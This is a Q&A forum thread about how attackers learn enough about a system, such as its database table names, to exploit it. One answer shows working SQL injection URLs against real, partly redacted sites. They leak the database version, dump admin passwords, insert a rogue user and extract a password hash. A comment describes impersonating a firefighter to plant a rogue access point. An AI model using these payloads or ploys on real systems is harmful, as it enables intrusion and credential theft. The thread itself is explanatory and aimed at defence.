Take the 2-minute tour ×
Super User is a question and answer site for computer enthusiasts and power users. It's 100% free, no registration required.

I've been reading through a couple of posts about how to prevent your system from being hacked and I would like to know how a hacker actually knows how to exploit the system? For example, everyone says that one should use parametization as a defence against SQL injection, which the hacker could use to drop a table for instance. But how does the hacker know what tables are available in the DB? I guess maybe the hacker could submit a query to get a list of all tables in the DB, but I'm not too sure.

share|improve this question

migrated from stackoverflow.com Sep 10 '09 at 14:13

This question came from our site for professional and enthusiast programmers.

1  
Understanding how security threats come at you is important for understanding how to defend against them. This is congruent with SO subject matter, IMHO. –  Lucas Oman Sep 10 '09 at 14:13
    
Quote from Wikipedia: In one of several meanings of the word in computing, a hacker is a member of the computer programmer subculture originated in the 1960s in the United States academia, in particular around the Massachusetts Institute of Technology (MIT)'s Tech Model Railroad Club (TMRC) and MIT Artificial Intelligence Laboratory. Nowadays, this subculture is mainly associated with the free software movement. –  Wim ten Brink Sep 10 '09 at 14:14
    
@WorkshopAlex - of course, in those days, everyone who used computers were programmers. You didn't use if for anything else, but calculations. –  ldigas Sep 10 '09 at 20:36
12  
@Workshop Alex: Syntax error at line 1. –  Jacco Sep 30 '09 at 16:20
add comment

11 Answers

up vote 32 down vote accepted
  • Social Engineering
  • Intelligent Guessing/Estimating (This is why you don't use default or common passwords, names, etc)
  • Knowledge of the system they are exploiting (version numbers connected with known exploits, previous employment, or previous experience)
  • Luck and Curiosity (Sometimes you just get lucky)
  • The 95% of the others are just Script Kiddies.
share|improve this answer
16  
Social Engineering Example: Go walk into a business with a firefighter suit on. Act like you know what your doing and say you need to inspect the IT closet for fire code violations due to an alert sent out. Bam, many places would probably unlock the door for you and once someones head was turned, plug into your mini wireless AP into the main switch in the back out of sight, tap your clipboard and say everything is ok and wish them a nice day. –  Troggy Sep 10 '09 at 19:59
1  
I think you need to add: Good knowledge of available functionality and how to maximize their potential in a creative way. –  Jacco Sep 30 '09 at 16:13
2  
Seriously, social engineering is so much easier than scanning sites for vunerabilites...scarily easy. –  tombull89 Nov 9 '10 at 11:06
add comment

I can show you a couple of real examples:

You put this into your web browesr:

http://***.no/?what=31%20union%20all%20select%20@@version,1,2/*

and in return you get this message:

Warning: main(4.1.22-standard-log) [function.main]: failed to open stream: No such
file or directory in /home/1/m/***/index.php on line 78

Now this just got me the database and its version. Usefull information for a hacker. Then I notice they are running open source forum. I download the forum and check out the available tables (this can also be retrieved by other means such as further exploiting the error messages). The following query is a result of exploiting error messages to the point where Ive revealed alot of the information in the table Im querying against:

http://***.no/html/inc2/Games/quiz/login.asp?brukernavn=Admin' UNION SELECT 
id,passord,epost,'a','a','a','a','a','a',20,20 FROM AdminTable ORDER BY 11--

Once you know a variable which you can exploit for SQL injection you can then start building queries like this:

http://xxx.no/html/inc2/xxx/xxx/login.asp?brukernavn=Admin'; insert into xxx 
values('NorHacks','attacker2@gmail.com','foobar',9000,9000,0,0,1,1,2)--

Wow! I just created me a user...

http://xxx.no/?what=31%20union%20select%20converge_pass_hash,converge_pass_hash,
3%20from%20ibf_members_converge%20where%20converge_id%20=%201/*

Warning:

Warning: main() [function.include]: Failed opening 'b42707056fbb201c9345d1c80a8fc7db' for inclusion (include_path='.:/usr/local/lib/php') in /home/1/m/xxx/index.php on line 78

Now I got the md5 hash of the password + salt ... I'm sure you get the point! Sanitise your data.

You can read more about SQL injection papers at sites like www.milw0rm.com.

share|improve this answer
3  
This is exactly why its good sometimes to handle errors but not report them to the user. No information is better than any type of info. –  Troggy Sep 10 '09 at 19:50
    
And don't forget google - once you've identified a pattern that can be exploited, you'll be able to find hundreds of other places to try once you've developed your exploit code. –  chris Sep 10 '09 at 23:08
add comment
  • Cheating - a lot of threats come from insiders who... probably made the tables!
  • Experience - when you've been in the business for a while you tend to notice trends. users isn't there? How about user, user_tbl or users_tbl? Which ties into:
  • Educated Guesswork
  • And finally, more cheating - if the program is open source (wordpress, phpbb) or generally common (vbulletin) everything's available or documented.
share|improve this answer
add comment

When you talk about programmers/hackers then most of it is just based on experience. I do consider myself a hacker and am real proud of this title too! (Which is why I feel insulted that this Q moved to SuperUser!)

There are, of course, other kinds of hackers who just learned a few tricks from others and possibly even share a few tricks. But if you wonder about security then you must know all possible weaknesses of current systems. And this knowledge can be used in good ways or bad ways. It's not the knowledge that makes it bad, it's the person who misuses it that makes it bad. (Just like guns...)

Whenever I start designing a new project where security is important, I start by evaluating possible weaknesses. These tend to be the same at all times: user databases, Code injection and buffer overflows are the most common attacks. But there are several other ways to bypass security if you're familiar with the code behind it.

For example, if someone uses phpBB on their website, they already have a big security problem! The database structure of phpBB is well-known thus hackers are already familiar with it's layout. The same is true for other open-source projects. Fortunately, some of those hackers (like me) will examine the source to find these weaknesses and then report them to the creator so these weaknesses will be closed. This is the main advantage of open-source: many eyes that can all examine the code for possible security flaws.

With a site like SuperUser, things will become a bit of guesswork but a name like "user" or "UserData" tends to be very common. A name like "LKJHGFDSA" to store user data would be a lot harder to guess but also makes it less clear what it's used for. Obfuscation of code and data structures will make it slightly more difficult for hackers but they'll just start examining the code and translate everything back to regular names.

Knowing how to write application will give a big advantage at hacking, although it's not a requirement. Unfortunately, most programmers are not interested enough in security and assume too much, leading to some very serious security problems. A website of the company I work for uses a simple database structure which stores usernamed in plaintext and their passwords as SHA-hashed strings. I have pointed out how insecure this is and realize why it's still secure enough. This weak password scheme is good enough simply because the information behind it isn't interesting for most hackers to access. (And the site is unknown to most people outside the company. Besides, part of it is only accessable through the Intr**a**net, not from outside out domain.

In general, a hacker is someone who learned about weaknesses and strengths of applications. Most of them are programmers.

share|improve this answer
1  
"There are 2 kinds of hackers: those who keep their mouth shut and those who run into trouble." (and +1) –  Jacco Sep 30 '09 at 16:18
add comment
  • Brute force - some systems have no limit on tries or timeouts
share|improve this answer
add comment

Easiest way? Guesswork. How many systems have a table called users, for instance.

share|improve this answer
add comment

To answer your question in lay-man terms: The hacker tries to find a way to do bad things on the system, for which it needs to have some kind of way to get the bad things on the target system. He searches for the spots that have a high chance to be weak and tries some known exploits against it, from there he can do the things that are able to be done through the exploit. The hacker uses things that are visible on the outside the system, when he has access he can continue to use the things visible inside the system.

To answer your question in jargon: The hacker targets the SQL database to either gain data or damage the data, he can perform this through SQL injection. He searches for a way to input where the chance on a security check is small, from there he exploits the database by listing the SQL tables and then asking information and dropping as he pleases. Thus, for this he knew there was the usage of a SQL DB, and when he has access he can see the tables.

share|improve this answer
add comment

Generally speaking, for real applications it goes down to guess work, finding vulnerabilities, intercepting and changing packets, etc.

For web applications it involves visiting the web pages and finding out what programs they are running, and again, finding vulnerabilities for the version run, or intercepting streams such as requests.

I can't tell you how many applications have plain text or bad authentication, for example, it may be that you login and it returns a cookie called logged-in, and in there is something called user-level, and it can be changed to admin... This is just an example and many are much better, but you still see it from time to time.

share|improve this answer
add comment

You can get to the tables via sql injection just as well as you can drop a table.

share|improve this answer
add comment

If you're interested in learning more about the subject, check out the book Hacking: The Art of Exploitation.

share|improve this answer
add comment

For an introduction to some hacking approaches, read this article originally published 2012-02-22 in Linux Format.

Also it might interest you to read about the Barnes & Noble controversy surrounding the article.

share|improve this answer
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.